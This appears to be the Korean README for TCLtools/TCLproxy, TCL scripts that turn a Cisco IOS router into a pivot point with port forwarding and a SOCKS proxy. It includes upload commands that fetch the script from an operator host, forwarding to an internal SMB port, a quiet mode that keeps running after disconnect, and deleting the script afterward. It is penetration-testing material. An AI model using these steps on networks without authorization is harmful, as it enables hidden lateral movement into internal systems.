
Cisco IOS 침투 테스트를 위한 TCL 스크립트 모음
TCLtools를 사용하면 모든 Cisco IOS 하드웨어를 피벗 스테이션으로 변환할 수 있습니다. 설정과 사용이 쉽습니다!
TCLproxy는 Cisco 장치를 통한 피벗을 위한 도구입니다. 모든 TCP 포트를 포워딩하거나 프록시 서버를 실행할 수 있습니다.
TCLproxy v0.0.3
Usage: tclsh ./tclproxy.tcl [-L address]... [-D address]...
Proxy server implementation. Binary protocols are supported.
-L [bind_address:]port:remote_host:remote_port
Forward a remote port to a local port.
Multiple connections and multiple forwards are supported.
-D [bind_address:]port
Launch a SOCKS4a proxy server.
Forwarding between VRF tables:
-D [VRF_table_for_listening@][bind_address]:port[@VRF_table_for_outbound_connections]
-L [VRF_table_for_listening@][bind_address]:port[@VRF_table_for_outbound_connections]:remote_host:remote_port
optional arguments:
-f, --disable-eof-check Speed increases by 1-15 KB/s, but connections don't close automatically. Dangerous!
-h, --help Show this help message and exit.
-q, --disable-output Quite mode. In this mode, you can disconnect from the console without script termination. Dangerous!
-l, --low-ports Use privileged source ports. Required for NFS (source port increments from 1 to 1023 every connection)
-n, --disable-dns Do not resolve DNS names in SOCKS mode
The effect of --disable-eof-check and --disable-output options depends on hardware architecture and firmware version.
TCLproxy will not work for port scanning, use tclmap.tcl instead.
example:
$ sudo py3tftp -p 69
cisco# configure terminal
cisco(config)# scripting tcl low-memory 5242880
cisco(config)# end
cisco# copy tftp://192.168.1.10/tclproxy.tcl flash:/
cisco# tclsh tclproxy.tcl -h
cisco# tclsh tclproxy.tcl -L 5901:10.0.0.1:445 -D :5902@enterpriseVRF -D 5900
...
cisco# del flash:/tclproxy.tcl
TCL은 고수준의 범용 인터프리티드 동적 프로그래밍 언어입니다. Cisco IOS는 TCL 8.3.4를 구현합니다:
cisco# tclsh
cisco(tcl)# puts $tcl_version
8.3
cisco(tcl)# puts $tcl_patchLevel
8.3.4
TCLtools는 하드웨어에서 권한 레벨 15가 필요합니다.
TCL 스크립트를 업로드하는 네 가지 방법이 있습니다:
$ sudo py3tftp -p 69
or
$ python2 -m pyftpdlib
cisco# copy tftp://192.168.1.10/tclproxy.tcl flash:/
cisco# copy ftp://192.168.1.10:2121/tclproxy.tcl flash:/
cisco# tclsh tclproxy.tcl
or
cisco# tclsh ftp://192.168.1.10:2121/tclproxy.tcl
$ cat tclproxy.tcl | sed -E 's/([{}$\[])/\\\1/g'
cisco# tclsh
cisco(tcl)# puts [open "flash:tclproxy.tcl" w+] {
cisco(tcl)# ; Copy file contents onto this
cisco(tcl)# }
cisco(tcl)# exit
cisco#
cisco# tclsh tclproxy.tcl
cisco# tclsh
cisco(tcl)# set argv [list -D 1080]
cisco(tcl)# ; Copy file contents onto this
cisco# configure terminal
cisco(config)# scripting tcl init ftp://192.168.1.10/tclproxy.tcl
cisco(config)# end
cisco# tclsh
좋은 방법은 최소 여유 메모리 크기를 설정하는 것입니다:
cisco# configure terminal
cisco(config)# scripting tcl low-memory 5242880
cisco(config)# end
추가로 또는 대신에 다음 명령으로 장치 성능을 확인할 수 있습니다:
cisco# show processes cpu | i Tcl
cisco# show processes mem | i Tcl
Cisco 2811 / Cisco 2821 통합 서비스 라우터, Cisco Catalyst 2960, Cisco Catalyst 3750-X에서 테스트되었습니다.
새로운 이슈를 열어 버그를 보고하거나 프로젝트 개선을 위한 새로운 기능을 제안할 수 있습니다. 또는 [email protected]으로 연락 주십시오.